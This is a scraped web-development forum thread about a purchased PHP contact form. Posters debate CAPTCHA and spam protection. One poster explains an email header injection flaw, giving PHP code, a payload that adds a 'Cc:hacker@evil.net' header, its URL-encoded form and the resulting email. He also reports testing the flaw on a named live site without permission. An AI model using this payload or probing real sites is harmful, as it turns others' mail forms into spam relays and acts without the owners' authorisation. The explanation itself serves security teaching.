$party numbers = $_POST['party numbers'];
ini_set('display_errors', 1);
ini_set('log_errors', 1);
ini_set('error_log', '../php_error.log.');
error_reporting(E_ALL);
One other thing. The instructions told me to install the scripts in the <head section of the site, again which what I have done on all pages to be sure, but I'm still at a loss.
$name = strip_tags($_POST['name']);
print_r($_POST);
Basically it opens up a new page and goes blank. Nothing happens at all. Not sure what I am missing here. I've checked that all the paths are correct and they are going to the right place.
if(!$_POST) exit;
Now, by posting the source code, I can see exactly what site you're working on (http://maritimegolfinvitational.com/contact.html). Your site is vulnerable to a spam attack because you don't have a real CAPTCHA.
With that said, a little note about CAPTCHA. In my opinion it's use is best for large forums or sites that generate lots of content from the public. For small sites the better alternative is to enable a simple moderation queue where submitted content is approved/rejected, or some of the alternatives anglewatt noted. The real issue is the client needs to allocate time and people to manage the queue, just like any other form of social networking where human beings MUST be involved and regularly for the feature to work successfully. CAPTCHA, etc., is very useful in such a situation when those kinds of resources simply aren't there.
That's not a fair assessment. CAPTCHA is very annoying to many people and lessens the usability of the page. There are spam blocking techniques that are done solely on the server side. Though, I do agree that this code does fail to do adequate validation to block spambots.
I have a similar technique on my contact form where the user is asked to answer a simple math problem. It catches most spambots except on the occasion when I had one question where it only used numbers (as opposed to the word form of the numbers), but I've changed that one out. Even without the challenge questions though, I have 5 other checks that routinely block spam. I've only kept the challenge question for research purposes as I don't need it to block spam attempts.
Savar makes good points in general, but also was a little harsh in my opinion as to this specific user. The OP noted from the outset they admitted to buying the software which tells me they either had budget or time constraints or whatever. They also mentioned they needed help from "gurus" here conceding their skill level. But I give them credit for admitting both here on the forum, demonstrating honesty and integrity with us. They could have just posted the code alone. It is NOT our place to judge honesty with the client without knowing the facts. Period.
For user-generated content, perhaps. Contact forms are a different case, because a poorly designed "formmail" script can be used to spam third parties -- and the site owner won't even know. Even putting aside the risk of the web host cutting off the account, or the site's IP address getting blacklisted (and in many hosting situations all of the domain's outgoing email), that's just poor internet citizenship.
Exactly. This particular script hard codes the receiving address, but I already spotted a request injection flaw that would allow you to use it as a blind relay.
But really who even cares -- this isn't the issue. The problem is that this guy will get paid to be a "developer" and he will start working on more and more stuff without anybody ever realizing what a hazard it is. Imagine next year when this golf site starts collecting online payments along with the reservation. Do you really trust this guy to handle your credit card number and home address??
Everyone has to start somewhere, and even most programmers I've encountered with CS degrees don't know the first thing about web scripting security or maintainability right out of school -- it's something that gets learned on the job.
I only pointed it out because he has a hardcoded "captcha" on his page already which asks for the same solution on each page load. This is trivial to crack if anybody looks at his page and reloads it a few times. (Or looks at the source code he has posted here.) In fact, its so trivial it doesn't even count as a "crack". It's just.... duh.
savar said:I just confirmed that this exploit works. This website is acting as a blind relay for anybody who comes here and understands the code that was posted.
I was able to send an email to myself using this method, and it took about 30 seconds using Firefox and Tamper Data.
Agree to disagree. I always respect your opinions on this site, but I think the only acceptable action here is to tell the client, "I don't know how to deliver what you're asking for, and it would be unethical for me to accept money to do so. I can try to find somebody else to do it, however, and subcontract to that person if you wish."Originally Posted by SrWebDeveloper![]()
Savar makes good points in general, but also was a little harsh in my opinion as to this specific user. The OP noted from the outset they admitted to buying the software which tells me they either had budget or time constraints or whatever. They also mentioned they needed help from "gurus" here conceding their skill level. But I give them credit for admitting both here on the forum, demonstrating honesty and integrity with us. They could have just posted the code alone. It is NOT our place to judge honesty with the client without knowing the facts. Period.
Yeah, editing old posts should not be allowed.
I partly agree, but seeing as the code exposed a serious security issue on his site, it's understandable. Hopefully he fixes it soon so it won't be an issue, but I don't blame him for removing the code.
I didn't get to see OP's original post with the source (I wish I had) but it sounds like he should take a look at http://articles.sitepoint.com/article/php-security-blunders.
$to = 'myEmail@myHost.com';
$subject = 'Registered';
mail($to, $subject, "From: {$_POST['registered_email']}\r\n");
$_POST['registered_email'] = "dummyaddress@aol.com\r\nCc:hacker@evil.net";
dummyaddress%40aol.com%5Cr%5CnCc%3Ahacker%40evil.net
To: myEmail@myHost.com
Subject: Registered
From: dummyaddress@aol.com
Cc: hacker@evil.net
Now that a few days have passed, I'll explain the exploit for those who are interested. This is from memory, so this may not be 100% accurate.
It wasn't SQL injection or XSS injection, but it was very similar. He had an email function similar to this:
PHP:$to = 'myEmail@myHost.com'; $subject = 'Registered'; mail($to, $subject, "From: {$_POST['registered_email']}\r\n");
You can see he has an untrusted user variable in the "From:" header. The intention is to allow the receiver of the registration email to contact the person who submitted it on the website by clicking the "reply" button. But this is where the vulnerability lies.
In SMTP, headers are separated from each other by a newline sequence, and the headers are separate from the body by a blank line (two consecutive newline sequences). I could see from his code that he is running on Windows because of the '\r\n' newline sequence. So you can inject your own header field by carefully crafting $_POST['registered_email'] to include a newline sequence somewhere in the middle, like this:
PHP:$_POST['registered_email'] = "dummyaddress@aol.com\r\nCc:hacker@evil.net";
You can't set POST variables directly, of course, you have to POST them to the server. And you can't include backslashes, so those need to be URL encoded. The easiest way to do this is with the Firefox extension Tamper Data, and a URL encoder.
After encoding, the injected string looks like this:
Code:dummyaddress%40aol.com%5Cr%5CnCc%3Ahacker%40evil.net
Use tamper data to submit this value, and PHP will generate an email like this:
Code:To: myEmail@myHost.com Subject: Registered From: dummyaddress@aol.com Cc: hacker@evil.net
So the SMTP server will send a carbon copy to hacker@evil.net. I think somebody more familiar with SMTP than me could probably do way more harm. For example, I think you could inject a new "To:" header and override the previous, which would make for a really effective blind e-mail relay.
If this was exploited on your own server, your ISP would probably pull down your account without any warning, and your IP addresses might get blacklisted from respected e-mail servers.
Is there a good site about PHP security with examples such as yours? Kind of a "how to" on PHP hacking and how web developers can remove security flaws?